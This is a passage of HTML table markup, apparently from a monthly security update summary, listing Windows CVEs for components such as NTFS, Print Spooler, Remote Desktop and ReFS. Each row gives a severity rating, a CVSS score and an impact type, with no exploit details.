  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
